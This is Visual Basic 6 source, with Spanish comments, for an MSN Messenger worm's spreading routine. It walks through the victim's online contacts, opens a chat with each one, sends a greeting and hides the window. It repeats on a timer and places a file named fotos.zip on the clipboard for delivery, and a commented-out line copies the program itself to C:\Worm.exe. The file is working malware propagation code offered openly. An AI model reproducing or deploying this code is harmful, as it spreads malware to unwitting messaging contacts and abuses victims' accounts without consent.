Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Dim x As Integer
 'Función Api FindWindow para buscar el HWND
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
    ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

'Función ShowWindow para maximizar , minimizar etc..
Private Declare Function ShowWindow Lib "user32" ( _
    ByVal hWnd As Long, _
    ByVal nCmdShow As Long) As Long

'Constantes para el api ShowWindow
Const SW_HIDE = 0
Const SW_NORMAL = 1

Dim Handle As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
    DoEvents
Loop While t2 > Second(Now)
End Sub

Sub msninfect()
On Error Resume Next
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then
Set iMsn = w.InstantMessage(ConTacto.SigninName)
SendKeys "hola"
SendKeys "{ENTER}"
    Call ShowWindow(GetForegroundWindow, SW_HIDE)
    Wait (4)
End If

Next
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub

Sub newpropMSN()
Dim ap(0) As String
'FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Worm.exe" ' Nos Copiamos
ap(0) = "C:\fotos.zip"
If ClipboardCopyFiles(ap) = True Then ' Nos ponemos en el Portapapeles
End If
Wait (1) ' Esperamos 1 respiro al procesador...
msninfect ' Llamamos a la funcion de la propagación
End Sub

Private Sub Form_Load()
End Sub


Private Sub Constant_Timer()
 
'Pones a este timer un intervalo de 60000 que equivale a 1 minuto
If x = 60 Then 'cuando la variable valga 15
    Call msninfect 'ejecutamos la accion
    x = 0 'reiniciamos la variable
Else
    x = x + 1 'sumamos uno a la variable si aún no ha llegado a 15
End If
 
End Sub

Option Explicit

' Required data structures
Private Type POINTAPI
x As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs
Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type


Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,
' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function